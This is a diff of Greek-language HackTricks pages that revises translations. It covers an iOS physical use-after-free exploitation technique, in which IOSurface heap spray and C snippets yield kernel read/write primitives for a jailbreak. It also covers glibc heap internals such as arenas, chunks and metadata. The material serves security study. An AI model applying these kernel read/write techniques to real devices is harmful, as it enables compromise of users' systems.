διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**. #### Levels of Page Tables in iOS Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα: 1. **L1 Page Table (Επίπεδο 1)**: -* Κάθε καταχώρηση εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης. +* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης. * Καλύπτει **0x1000000000 bytes** (ή **256 GB**) εικονικής μνήμης. 2. **L2 Page Table (Επίπεδο 2)**: -* Μια καταχώρηση εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB). -* Μια καταχώρηση L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της. +* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB). +* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της. 3. **L3 Page Table (Επίπεδο 3)**: -* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε καταχώρηση αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης. -* Μια καταχώρηση L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος. +* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης. +* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος. #### Mapping Virtual to Physical Memory -* **Direct Mapping (Block Mapping)**: -* Ορισμένες καταχωρήσεις σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε **ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση). -* **Pointer to Child Page Table**: -* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια καταχώρηση σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **πίνακα παιδιών σελίδων** στο επόμενο επίπεδο (π.χ., L2). +* **Άμεση Αντιστοίχιση (Block Mapping)**: +* Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε **ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση). +* **Δείκτης σε Παιδικό Πίνακα Σελίδων**: +* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **παιδικό πίνακα σελίδων** στο επόμενο επίπεδο (π.χ., L2). #### Example: Mapping a Virtual Address Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**: 1. **L1 Table**: -* Ο kernel ελέγχει την καταχώρηση του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει μια **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2. +* Ο πυρήνας ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει έναν **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2. 2. **L2 Table**: -* Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η καταχώρηση δείχνει σε έναν **πίνακα L3**, προχωρά εκεί. +* Ο πυρήνας ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί. 3. **L3 Table**: -* Ο kernel αναζητά την τελική καταχώρηση L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης. +* Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης. #### Example of Address Mapping Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε: * Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**. -* Αυτό είναι μια **block mapping** στο επίπεδο L2. +* Αυτό είναι μια **αντιστοίχιση μπλοκ** στο επίπεδο L2. -Εναλλακτικά, αν η καταχώρηση L2 δείχνει σε έναν πίνακα L3: +Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3: -* Κάθε σελίδα 4 KB στην εικονική διεύθυνση **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες καταχωρήσεις στον πίνακα L3. +* Κάθε σελίδα 4 KB στην εικονική περιοχή διευθύνσεων **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3. ### Physical use-after-free @@ -60,30 +60,30 @@ 1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**. 2. Οι **πίνακες σελίδων** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία. 3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη. -4. Ωστόσο, λόγω ενός **σφάλματος**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη. -5. Ο kernel μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα του kernel**. +4. Ωστόσο, λόγω ενός **σφάλματος**, ο πυρήνας **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη. +5. Ο πυρήνας μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα πυρήνα**. 6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη. -Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης του kernel**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του kernel**. +Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης πυρήνα**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του πυρήνα**. ### Exploitation Strategy: Heap Spray -Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**: +Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν στη ελευθερωμένη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**: -1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του kernel. +1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του πυρήνα. 2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση. -3. **Σαρώνονται οι ελεύθερες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελεύθερη σελίδα. -4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του kernel**. +3. **Σαρώνονται οι ελευθερωμένες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελευθερωμένη σελίδα. +4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελευθερωμένη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του πυρήνα**. Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) ### Step-by-Step Heap Spray Process 1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή"). -2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα. -3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του kernel. Αυτό τους επιτρέπει: -* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του kernel. -* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **primitive ανάγνωσης/εγγραφής του kernel**. +2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελευθερωμένη σελίδα. +3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του πυρήνα. Αυτό τους επιτρέπει: +* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του πυρήνα. +* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα**. Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE\_MAGIC για να τα αναζητήσετε αργότερα: ```c @@ -142,7 +142,7 @@ return 0; ``` ### Επιτυχία Ανάγνωσης/Εγγραφής Kernel με IOSurface -Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια απελευθερωμένη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**. +Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια ελεύθερη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**. **Κύρια Πεδία στο IOSurface** @@ -157,7 +157,7 @@ return 0; Για να εκτελέσουμε μια ανάγνωση: -1. Επαναγράψτε τον **δείκτη χρήσης** ώστε να δείχνει στη στοχευμένη διεύθυνση μείον μια απόσταση 0x14 byte. +1. Επαναγράψτε τον **δείκτη χρήσης** ώστε να δείχνει στη διεύθυνση στόχο μείον μια απόσταση 0x14 byte. 2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -180,7 +180,7 @@ return value; Για να εκτελέσετε μια εγγραφή: -1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με ευρετήριο** στη στοχευμένη διεύθυνση. +1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με δείκτη** στη στοχευμένη διεύθυνση. 2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια τιμή 64-bit. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { @@ -204,4 +204,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e). -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 900f69c0e..7318e65a2 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,6 +1,6 @@ # Libc Heap -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Heap Basics @@ -12,12 +12,12 @@ ### Basic Chunk Allocation -Όταν ζητείται να αποθηκευτούν κάποια δεδομένα στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρηθούν για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρεθεί πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες μεταδεδομένων του chunk για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk. +Όταν ζητείται η αποθήκευση κάποιων δεδομένων στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρούνται για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρεθεί πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες chunk μεταδεδομένων για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk. Υπάρχουν διάφοροι τρόποι για να δεσμευτεί ο χώρος, κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η εξής: - Το πρόγραμμα ξεκινά ζητώντας μια συγκεκριμένη ποσότητα μνήμης. -- Αν στη λίστα των chunks υπάρχει κάποιο διαθέσιμο αρκετά μεγάλο για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί. +- Αν στη λίστα των chunks υπάρχει κάποιος διαθέσιμος αρκετά μεγάλος για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί. - Αυτό μπορεί ακόμη και να σημαίνει ότι μέρος του διαθέσιμου chunk θα χρησιμοποιηθεί για αυτό το αίτημα και το υπόλοιπο θα προστεθεί στη λίστα των chunks. - Αν δεν υπάρχει διαθέσιμο chunk στη λίστα αλλά υπάρχει ακόμη χώρος στη δεσμευμένη μνήμη του σωρού, ο διαχειριστής του σωρού δημιουργεί ένα νέο chunk. - Αν δεν υπάρχει αρκετός χώρος στον σωρό για να δεσμευτεί το νέο chunk, ο διαχειριστής του σωρού ζητά από τον πυρήνα να επεκτείνει τη μνήμη που έχει δεσμευτεί για τον σωρό και στη συνέχεια χρησιμοποιεί αυτή τη μνήμη για να δημιουργήσει το νέο chunk. @@ -27,28 +27,28 @@ ## Arenas -Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλούσε το mutex. +Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκάλεσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλεί το mutex. -Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "αρένες", όπου **κάθε αρένα** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές αρένες. +Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε "arenas," όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas. -Η προεπιλεγμένη "κύρια" αρένα χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες αρένες** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη αρένα, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις αρένες**, οδηγώντας σε πιθανή αντιπαλότητα. +Η προεπιλεγμένη "κύρια" arena χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα. -Σε αντίθεση με την κύρια αρένα, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες αρένες δημιουργούν "υποσωρούς" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες. +Σε αντίθεση με την κύρια arena, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες arenas δημιουργούν "subheaps" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες. ### Subheaps -Οι υποσωροί λειτουργούν ως αποθέματα μνήμης για δευτερεύουσες αρένες σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς οι υποσωροί διαφέρουν από τον αρχικό σωρό και πώς λειτουργούν: +Τα subheaps χρησιμεύουν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν: -1. **Αρχικός Σωρός vs. Υποσωροί**: +1. **Αρχικός Σωρός vs. Subheaps**: - Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`. -- Οι υποσωροί, που χρησιμοποιούνται από δευτερεύουσες αρένες, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης. +- Τα subheaps, που χρησιμοποιούνται από δευτερεύουσες arenas, δημιουργούνται μέσω `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης. 2. **Δέσμευση Μνήμης με `mmap`**: -- Όταν ο διαχειριστής του σωρού δημιουργεί έναν υποσωρό, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος. -- Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για έναν υποσωρό είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit. +- Όταν ο διαχειριστής του σωρού δημιουργεί ένα subheap, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος. +- Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για ένα subheap είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit. 3. **Σταδιακή Επέκταση με `mprotect`**: -- Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτό το χώρο ακόμη. -- Για να "μεγαλώσει" ο υποσωρός, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στον υποσωρό να επεκτείνεται κατά ανάγκη. -- Μόλις εξαντληθεί ολόκληρος ο υποσωρός, ο διαχειριστής του σωρού δημιουργεί έναν νέο υποσωρό για να συνεχίσει τη δέσμευση. +- Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτό το χώρο ακόμα. +- Για να "μεγαλώσει" το subheap, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στο subheap να επεκτείνεται κατά ανάγκη. +- Μόλις εξαντληθεί ολόκληρο το subheap, ο διαχειριστής του σωρού δημιουργεί ένα νέο subheap για να συνεχίσει τη δέσμευση. ### heap_info @@ -76,7 +76,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; Είναι σημαντικό να σημειωθεί ότι η **δομή `malloc_state` της κύριας αρένας** είναι μια **παγκόσμια μεταβλητή στη libc** (άρα βρίσκεται στον χώρο μνήμης της libc).\ Στην περίπτωση των δομών **`malloc_state`** των σωρών νημάτων, βρίσκονται **μέσα στη "σωρό" του δικού τους νήματος**. -Υπάρχουν μερικά ενδιαφέροντα πράγματα που πρέπει να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C): +Υπάρχουν μερικά ενδιαφέροντα πράγματα που πρέπει να σημειωθούν από αυτή τη δομή (δείτε τον κώδικα C παρακάτω): - `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από τη σωρό προσπελάζεται από 1 νήμα τη φορά - Σημαίες: @@ -171,7 +171,7 @@ typedef struct malloc_chunk* mchunkptr; Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τελικά 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει δεδομένα χρήστη όταν είναι κατανεμημένο). -Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται επίσης για να περιέχουν κάποια δεδομένα: +Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται για να περιέχουν επίσης κάποια δεδομένα: - **`fd`**: Δείκτης στο επόμενο κομμάτι - **`bk`**: Δείκτης στο προηγούμενο κομμάτι @@ -185,7 +185,7 @@ typedef struct malloc_chunk* mchunkptr; ### Δείκτες Κομματιών -Όταν χρησιμοποιείται malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\ +Όταν χρησιμοποιείται το malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τους επικεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των επικεφαλίδων (μεταδεδομένα).\ Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -354,7 +354,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -- Ρυθμίστε την κεφαλίδα και την υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων) +- Ορίστε κεφαλίδα και υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -411,19 +411,19 @@ ptr = malloc(0x10); strcpy(ptr, "panda"); } ``` -Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας ανακαλύψουμε πού αποθηκεύτηκε η πληροφορία: +Ορίστε ένα breakpoint στο τέλος της κύριας συνάρτησης και ας ανακαλύψουμε πού αποθηκεύτηκε η πληροφορία:
Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`. -Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τους **προστιθέμενους επικεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας επικεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν πρόκειται ποτέ να χρησιμοποιηθούν από τον αριθμό μήκους. +Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τις **προστιθέμενες κεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας κεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν πρόκειται ποτέ να χρησιμοποιηθούν από τον αριθμό μήκους. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` -### Multithreading Example +### Πολυνηματική Εφαρμογή
@@ -471,15 +471,15 @@ return 0; ```
-Αναλύοντας το προηγούμενο παράδειγμα, είναι δυνατόν να δούμε πώς στην αρχή υπάρχει μόνο 1 αρένα: +Αναλύοντας το προηγούμενο παράδειγμα, είναι δυνατόν να δούμε πώς στην αρχή υπάρχει μόνο 1 arena:
